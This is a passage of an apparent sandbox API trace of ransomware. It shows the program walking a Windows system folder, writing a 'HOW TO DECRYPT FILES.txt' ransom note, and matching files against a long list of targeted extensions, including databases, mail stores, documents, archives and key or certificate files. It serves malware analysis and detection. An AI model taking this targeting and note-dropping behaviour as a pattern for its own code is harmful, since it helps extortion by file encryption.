dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dbfe8642a8ed7b2b103ad28e0c96418a", cAlternateFileName="DBFE86~1")) returned 0 [0105.502] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.502] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x179bfee6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x179bfee6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Drawing.Desi#", cAlternateFileName="SYSTEM~2.DES")) returned 1 [0105.502] lstrcmpA (lpString1=".", lpString2="System.Drawing.Desi#") returned -1 [0105.502] lstrcmpA (lpString1="..", lpString2="System.Drawing.Desi#") returned -1 [0105.502] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.502] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Drawing.Desi#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#" [0105.503] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x179bfee6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x179bfee6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.503] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.503] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x179bfee6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x179bfee6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.503] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.503] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.503] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x179bfee6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x179bfee6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fac6392e83ef7e777b78933e057c9546", cAlternateFileName="FAC639~1")) returned 1 [0105.504] lstrcmpA (lpString1=".", lpString2="fac6392e83ef7e777b78933e057c9546") returned -1 [0105.504] lstrcmpA (lpString1="..", lpString2="fac6392e83ef7e777b78933e057c9546") returned -1 [0105.504] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\*.*") returned="*.*" [0105.504] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\", lpString2="fac6392e83ef7e777b78933e057c9546" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546" [0105.504] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x179bfee6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x179bfee6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.504] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.504] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x179bfee6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x179bfee6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.504] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.504] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.504] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17973c26, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x17973c26, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x17973c26, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x32e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Drawing.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.504] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.505] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Drawing.Design.ni.dll") returned -1 [0105.505] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Drawing.Design.ni.dll") returned -1 [0105.505] lstrcmpiA (lpString1="", lpString2="System.Drawing.Design.ni.dll") returned -1 [0105.505] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\*.*") returned="*.*" [0105.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\" [0105.505] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\") returned="" [0105.505] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\HOW TO DECRYPT FILES.txt" [0105.505] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing.desi#\\fac6392e83ef7e777b78933e057c9546\\how to decrypt files.txt")) returned 0xffffffff [0105.505] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing.desi#\\fac6392e83ef7e777b78933e057c9546\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.556] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.558] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.558] CloseHandle (hObject=0x90) returned 1 [0105.559] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\", lpString2="System.Drawing.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll" [0105.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.ems") returned 0 [0105.559] lstrlenA (lpString="*.ems") returned 5 [0105.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.db") returned 0 [0105.559] lstrlenA (lpString="*.db") returned 4 [0105.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.dbf") returned 0 [0105.559] lstrlenA (lpString="*.dbf") returned 5 [0105.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.myox") returned 0 [0105.559] lstrlenA (lpString="*.myox") returned 6 [0105.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.myo") returned 0 [0105.559] lstrlenA (lpString="*.myo") returned 5 [0105.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qbw") returned 0 [0105.560] lstrlenA (lpString="*.qbw") returned 5 [0105.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qbb") returned 0 [0105.560] lstrlenA (lpString="*.qbb") returned 5 [0105.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qbm") returned 0 [0105.560] lstrlenA (lpString="*.qbm") returned 5 [0105.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qbo") returned 0 [0105.560] lstrlenA (lpString="*.qbo") returned 5 [0105.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qbx") returned 0 [0105.560] lstrlenA (lpString="*.qbx") returned 5 [0105.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qba") returned 0 [0105.560] lstrlenA (lpString="*.qba") returned 5 [0105.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qby") returned 0 [0105.560] lstrlenA (lpString="*.qby") returned 5 [0105.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qbj") returned 0 [0105.560] lstrlenA (lpString="*.qbj") returned 5 [0105.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.ofx") returned 0 [0105.560] lstrlenA (lpString="*.ofx") returned 5 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.qif") returned 0 [0105.561] lstrlenA (lpString="*.qif") returned 5 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.mye") returned 0 [0105.561] lstrlenA (lpString="*.mye") returned 5 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.mbox") returned 0 [0105.561] lstrlenA (lpString="*.mbox") returned 6 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.eml") returned 0 [0105.561] lstrlenA (lpString="*.eml") returned 5 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.pst") returned 0 [0105.561] lstrlenA (lpString="*.pst") returned 5 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.ost") returned 0 [0105.561] lstrlenA (lpString="*.ost") returned 5 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.idx") returned 0 [0105.561] lstrlenA (lpString="*.idx") returned 5 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.dbx") returned 0 [0105.561] lstrlenA (lpString="*.dbx") returned 5 [0105.561] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.sql") returned 0 [0105.562] lstrlenA (lpString="*.sql") returned 5 [0105.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.mdb") returned 0 [0105.562] lstrlenA (lpString="*.mdb") returned 5 [0105.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.fdb") returned 0 [0105.562] lstrlenA (lpString="*.fdb") returned 5 [0105.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.wab") returned 0 [0105.562] lstrlenA (lpString="*.wab") returned 5 [0105.562] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.dat") returned 0 [0105.565] lstrlenA (lpString="*.dat") returned 5 [0105.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.txt") returned 0 [0105.565] lstrlenA (lpString="*.txt") returned 5 [0105.565] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0105.566] lstrlenA (lpString="*.jpeg") returned 6 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.jpg") returned 0 [0105.566] lstrlenA (lpString="*.jpg") returned 5 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.png") returned 0 [0105.566] lstrlenA (lpString="*.png") returned 5 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.php") returned 0 [0105.566] lstrlenA (lpString="*.php") returned 5 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.cs") returned 0 [0105.566] lstrlenA (lpString="*.cs") returned 4 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.cpp") returned 0 [0105.566] lstrlenA (lpString="*.cpp") returned 5 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.rar") returned 0 [0105.566] lstrlenA (lpString="*.rar") returned 5 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.zip") returned 0 [0105.566] lstrlenA (lpString="*.zip") returned 5 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.html") returned 0 [0105.566] lstrlenA (lpString="*.html") returned 6 [0105.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.htm") returned 0 [0105.566] lstrlenA (lpString="*.htm") returned 5 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0105.567] lstrlenA (lpString="*.xlsx") returned 6 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.xls") returned 0 [0105.567] lstrlenA (lpString="*.xls") returned 5 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.mp4") returned 0 [0105.567] lstrlenA (lpString="*.mp4") returned 5 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.ppt") returned 0 [0105.567] lstrlenA (lpString="*.ppt") returned 5 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.pptx") returned 0 [0105.567] lstrlenA (lpString="*.pptx") returned 6 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.doc") returned 0 [0105.567] lstrlenA (lpString="*.doc") returned 5 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.dot") returned 0 [0105.567] lstrlenA (lpString="*.dot") returned 5 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.docx") returned 0 [0105.567] lstrlenA (lpString="*.docx") returned 6 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.7z") returned 0 [0105.567] lstrlenA (lpString="*.7z") returned 4 [0105.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.tar") returned 0 [0105.567] lstrlenA (lpString="*.tar") returned 5 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.bz2") returned 0 [0105.568] lstrlenA (lpString="*.bz2") returned 5 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.gz") returned 0 [0105.568] lstrlenA (lpString="*.gz") returned 4 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.mkv") returned 0 [0105.568] lstrlenA (lpString="*.mkv") returned 5 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.eml") returned 0 [0105.568] lstrlenA (lpString="*.eml") returned 5 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.msg") returned 0 [0105.568] lstrlenA (lpString="*.msg") returned 5 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.edb") returned 0 [0105.568] lstrlenA (lpString="*.edb") returned 5 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.accdb") returned 0 [0105.568] lstrlenA (lpString="*.accdb") returned 7 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.odb") returned 0 [0105.568] lstrlenA (lpString="*.odb") returned 5 [0105.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.java") returned 0 [0105.568] lstrlenA (lpString="*.java") returned 6 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.asm") returned 0 [0105.569] lstrlenA (lpString="*.asm") returned 5 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.pfx") returned 0 [0105.569] lstrlenA (lpString="*.pfx") returned 5 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.pem") returned 0 [0105.569] lstrlenA (lpString="*.pem") returned 5 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.p12") returned 0 [0105.569] lstrlenA (lpString="*.p12") returned 5 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.gpg") returned 0 [0105.569] lstrlenA (lpString="*.gpg") returned 5 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.vsd") returned 0 [0105.569] lstrlenA (lpString="*.vsd") returned 5 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.odg") returned 0 [0105.569] lstrlenA (lpString="*.odg") returned 5 [0105.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing.Desi#\\fac6392e83ef7e777b78933e057c9546\\System.Drawing.Design.ni.dll", pszSpec="*.raw") returned 0 [0105.569] lstrlenA (lpString="*.raw") returned 5 [0105.569] PathMatchSpecA 